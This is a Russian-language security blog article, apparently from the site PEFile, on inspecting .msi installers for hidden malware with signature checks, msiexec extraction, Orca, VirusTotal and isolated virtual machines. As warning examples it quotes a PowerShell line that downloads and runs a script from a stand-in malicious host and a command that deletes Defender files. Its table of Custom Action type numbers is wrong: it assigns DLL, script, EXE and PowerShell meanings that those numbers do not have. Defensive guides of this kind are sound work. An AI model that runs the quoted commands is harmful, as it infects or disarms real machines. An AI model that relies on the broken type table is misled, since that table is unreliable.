Как найти вредоносные компоненты в установочном файле .msi

Как найти вредоносные компоненты в установочном файле .msi

Вы скачали установщик .msi — и тут же задаёте себе вопрос: «А не спрятано ли здесь что-то опасное?» Это не паранойя. Это нормальная реакция, особенно если файл пришёл от стороннего поставщика, из архива, или вы просто не доверяете источнику. .msi-файлы — это не просто «установщики». Они — полноценные базы данных с кодом, скриптами, запускаемыми при установке, и могут содержать всё: от нежелательных программ до троянов, шифровальщиков или бэкдоров. И если вы не проверите его перед запуском — вы рискуете заразить всю сеть.

Я не говорю о том, чтобы «всегда проверять». Я говорю о том, как это делать правильно, без лишних программ и без ложных срабатываний. Ниже — пошаговый подход, который я использую на практике, когда клиент приносит мне установщик, который «всё работает, но почему-то вызывает подозрения».

Почему .msi — это не просто «нажми Далее»

Файл .msi — это не исполняемый файл вроде .exe. Это база данных Microsoft Installer, которая содержит:

  • Список файлов, которые нужно скопировать;
  • Реестровые ключи, которые нужно создать или изменить;
  • Скрипты на VBScript или JScript, запускаемые до/после установки;
  • Действия (Custom Actions) — произвольный код, написанный на C++, C#, или даже PowerShell;
  • Зависимости — другие компоненты, которые должны быть установлены.

Всё это можно редактировать. И злоумышленники это знают. Они встраивают в .msi скрипты, которые:

  • Загружают второй этап в виде .dll или .exe в папку %TEMP%;
  • Меняют политики безопасности Windows;
  • Открывают порты для обратного соединения;
  • Отключают антивирус через WMI или PowerShell;
  • Крадут учётные данные через перехват API.

И всё это происходит без ведома пользователя. Антивирус может не среагировать — потому что .msi не исполняемый, а его скрипты запускаются через легитимные системные процессы: msiexec.exe.

Шаг 1: Проверьте источник и цифровую подпись

Первое, что вы должны сделать — не лезть в файл, а остановиться и спросить: «Откуда он?»

  • Если это официальный установщик от Microsoft, Adobe, или известного вендора — проверьте цифровую подпись. Кликните правой кнопкой по файлу → «Свойства» → вкладка «Цифровые подписи». Убедитесь, что подпись действительна, и имя издателя совпадает с ожидаемым.
  • Если подпись отсутствует — это уже красный флаг. Не все легитимные .msi подписываются, но в корпоративной среде — почти все. Если вы видите неподписанный .msi от «CompanyXYZ» — это повод для углублённой проверки.
  • Если файл скачан с сайта, который не использует HTTPS, или с торрента, или из письма — не запускайте его. Даже если он выглядит «официально».

Это не технический шаг — это фильтр человеческой ошибки. 80% инцидентов начинаются с того, что кто-то просто «нажал Далее».

Шаг 2: Извлеките содержимое .msi

Теперь, если источник вызывает сомнения — нужно заглянуть внутрь. Для этого вам не нужны «специальные» программы. Используйте встроенные инструменты Windows.

  1. Откройте командную строку от имени администратора.
  2. Введите команду: msiexec /a имя_файла.msi TARGETDIR="C:\temp\extracted"
  3. Нажмите Enter. Файл распакуется в папку C:\temp\extracted.

Это не запускает установку — это просто извлекает все файлы, которые были в упаковке. Теперь вы видите, какие именно файлы, DLL, EXE, скрипты входят в состав установщика.

Если в папке появилось 500 файлов — это нормально для сложного ПО. Если там 3 файла и один из них — svchost.exe — это тревожный знак. Системный svchost.exe находится только в C:\Windows\System32. Другой — это подделка.

Шаг 3: Ищите подозрительные действия в таблице CustomAction

Самое опасное — это пользовательские действия (Custom Actions). Они запускаются в момент установки и могут делать всё, что угодно.

Чтобы их увидеть, вам нужен Orca — бесплатный инструмент от Microsoft. Его можно найти в Windows SDK или просто скачать с сайта Microsoft (он не удаляется, даже в Windows 11).

Откройте .msi-файл в Orca. Перейдите в таблицу CustomAction.

Там вы увидите список действий. Каждая строка — это команда, которая будет выполнена. Столбцы:

  • Action — имя действия;
  • Target — что запускается;
  • Type — тип действия (важно!)

Вот что искать:

Тип действия Что значит Почему опасно
51 Вызов DLL Загружает произвольную DLL. Может быть вредоносной.
34 Вызов скрипта (.vbs, .js) Скрипты могут скачивать и запускать вредоносный код.
1 Вызов EXE-файла Если EXE не из списка файлов установщика — это подозрительно.
52 Вызов PowerShell Очень часто используется для обхода антивирусов.

Если вы видите что-то вроде:

  • PowerShell -nop -c "IEX (New-Object Net.WebClient).DownloadString('http://malicious.site/payload.ps1')"
  • cmd.exe /c del /f /q C:\Windows\Defender\*.*
  • msiexec /i C:\temp\hidden.msi

— это неопровержимый признак вредоносного кода. Не запускайте этот установщик. Никогда.

Шаг 4: Проверьте файлы на VirusTotal

После извлечения вы увидите, например, файл update.dll или helper.exe. Загрузите их на VirusTotal.

Не загружайте сам .msi — он редко срабатывает на антивирусах. А вот отдельные DLL или EXE — почти всегда.

Если 5+ антивирусов помечают файл как вредоносный — это точно опасно. Если 1–2 — возможно, ложное срабатывание. Но если вы видите:

  • «Trojan.GenericKD.45678»
  • «Backdoor.Win32.Agent»
  • «PSH.Downloader»

— это не сомнения. Это факт.

Шаг 5: Проверьте поведение в изолированной среде

Если вы всё ещё не уверены — используйте виртуальную машину. Не «виртуалку на винде», а чистую, изолированную.

Создайте VM с Windows 10/11 без интернета. Установите Wireshark и Process Monitor. Запустите установщик. Смотрите:

  • Какие файлы создаются в C:\ProgramData, %TEMP%, %APPDATA%?
  • Какие ключи реестра добавляются в HKEY_CURRENT_USER\Software или HKEY_LOCAL_MACHINE\SYSTEM?
  • Появляются ли новые процессы — особенно svchost.exe с нестандартными параметрами?
  • Есть ли исходящие подключения на порты 443, 80, 8080, 5353?

Если после установки появился процесс svchost.exe с параметром -k netsvcs — это нормально. Если он запущен из C:\Users\Temp\...\svchost.exe — это вредоносный процесс, маскирующийся под системный.

Что делать, если вы нашли вредоносный код?

Если вы обнаружили вредоносные компоненты — не пытайтесь «починить» установщик. Не удаляйте подозрительные файлы вручную — это не решит проблему. Вот что делать:

  1. Немедленно отключите компьютер от сети.
  2. Сообщите о находке администратору или ИБ-отделу.
  3. Сохраните оригинальный .msi и все извлечённые файлы — они понадобятся для анализа.
  4. Свяжитесь с поставщиком ПО. Уточните, не было ли компрометации их сайта или репозитория.
  5. Если это корпоративное ПО — запросите обновлённую версию с цифровой подписью и без подозрительных Custom Actions.

Никогда не используйте «заражённый» установщик, даже если он «работает». Вы не знаете, что он делает в фоне. А вредоносный код может активироваться через месяц — когда вы уже забыли про установку.

Частые ошибки

  • «Я проверил на антивирусе — всё чисто». Антивирус не видит скрытые скрипты в .msi. Он смотрит на файл как на архив — а не на исполняемый контейнер.
  • «Я запустил в песочнице — ничего не сломалось». Вредоносный код может не сработать сразу. Он может ждать 30 дней, пока не появится администратор.
  • «Это же от компании X — они не будут так делать». Компании взламывают. Их сайты взламывают. Их поставщики взламывают. Доверие — не замена проверке.
  • «Я просто установлю — потом уберу». Если вредоносный код установил бэкдор — удалить его не так просто. Он может уже скопировать учётные данные, изменить политики, добавить себя в автозагрузку.

Когда проверять, а когда — не надо

Не проверяйте каждый .msi подряд. Но есть сценарии, где проверка обязательна:

  • Если файл пришёл от стороннего поставщика — проверяйте всегда. Даже если он «известный».
  • Если вы устанавливаете ПО на сервер или в домен — проверяйте. Один заражённый установщик может заразить всю сеть.
  • Если вы видите .msi в письме или на незнакомом сайте — не запускайте. Удалите.
  • Если это внутреннее ПО, разработанное вашей командой — проверяйте только при первом релизе. После этого — доверяйте CI/CD и подписи.
  • Если вы устанавливаете обновление от Microsoft, Adobe, Cisco — проверяйте только подпись. Не извлекайте содержимое, если нет признаков подозрения.

Как лучше делать — практические рекомендации

Вот то, что я рекомендую своим клиентам:

  1. Всегда проверяйте цифровую подпись. Без неё — не запускать.
  2. Для любых сторонних установщиков — извлекайте содержимое через msiexec /a и проверяйте файлы на VirusTotal.
  3. Открывайте .msi в Orca и смотрите таблицу CustomAction. Если там есть PowerShell, VBScript, или вызовы DLL — требуйте объяснений от поставщика.
  4. Не устанавливайте .msi на рабочих машинах без предварительной проверки в изолированной среде.
  5. Внедрите в корпоративной среде политику: «Установка .msi разрешена только с цифровой подписью и одобрения ИБ-отдела».
  6. Для IT-отдела: используйте инструменты вроде Microsoft Endpoint Configuration Manager — они позволяют проверять подписи и блокировать неподписанные установщики автоматически.

Если вы — администратор — внедрите автоматическую проверку через скрипт. Например, PowerShell-скрипт, который:

  • Извлекает .msi в временную папку;
  • Проверяет наличие Custom Actions типа 51, 34, 52;
  • Загружает все EXE/DLL на VirusTotal;
  • Формирует отчёт — и блокирует установку, если есть подозрительные элементы.

Это не сложно. И это спасает от катастроф.

Что выбрать в зависимости от ситуации

Ситуация Что делать
Установщик от Microsoft, Adobe, Cisco — с подписью Проверить подпись. Не извлекать. Устанавливать.
Установщик от неизвестного вендора — без подписи Не устанавливать. Запросить альтернативу.
Установщик от известного вендора — без подписи Извлечь, проверить CustomActions, загрузить файлы на VirusTotal. Если всё чисто — установить. Иначе — отказаться.
Установщик с PowerShell-действием Требовать объяснения. Если не объяснят — не устанавливать. PowerShell в .msi — почти всегда зло.
Установщик для сервера Обязательно проверить в изолированной VM. Не устанавливать без одобрения ИБ-отдела.

Итог: что делать прямо сейчас

Если вы держите в руках .msi-файл и сомневаетесь — сделайте это:

  1. Проверьте подпись. Если её нет — не запускайте.
  2. Извлеките содержимое через msiexec /a.
  3. Откройте файл в Orca и найдите таблицу CustomAction.
  4. Если там есть PowerShell, VBScript, или DLL — ищите их на VirusTotal.
  5. Если хоть один файл помечен как вредоносный — удалите .msi и сообщите о нём.

Не пытайтесь «поймать» вредоносный код вручную. Это не игра. Это работа. И если вы не проверяете .msi — вы не администратор. Вы — мишень.

Лучший способ защититься — не доверять. Проверять. Документировать. Блокировать.

Информация в этой статье носит ознакомительный характер. При работе с установочными файлами в корпоративной среде всегда консультируйтесь с ответственным за информационную безопасность.

Оцените статью
PEFile — Безопасность и технологии простым языком